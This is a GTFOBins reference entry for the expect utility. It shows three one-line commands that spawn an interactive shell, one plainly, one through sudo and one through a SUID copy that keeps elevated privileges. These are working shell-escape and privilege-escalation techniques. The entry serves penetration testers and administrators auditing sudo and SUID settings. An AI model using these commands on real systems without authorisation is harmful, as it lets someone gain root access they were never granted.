GTFOBins.github.io/_gtfobins/expect.md
2018-05-25 15:30:02 +02:00

225 B

functions
execute-interactive sudo-enabled suid-enabled
code
expect -c 'spawn /bin/sh;interact'
code
sudo expect -c 'spawn /bin/sh;interact'
code
./expect -c 'spawn /bin/sh -p;interact'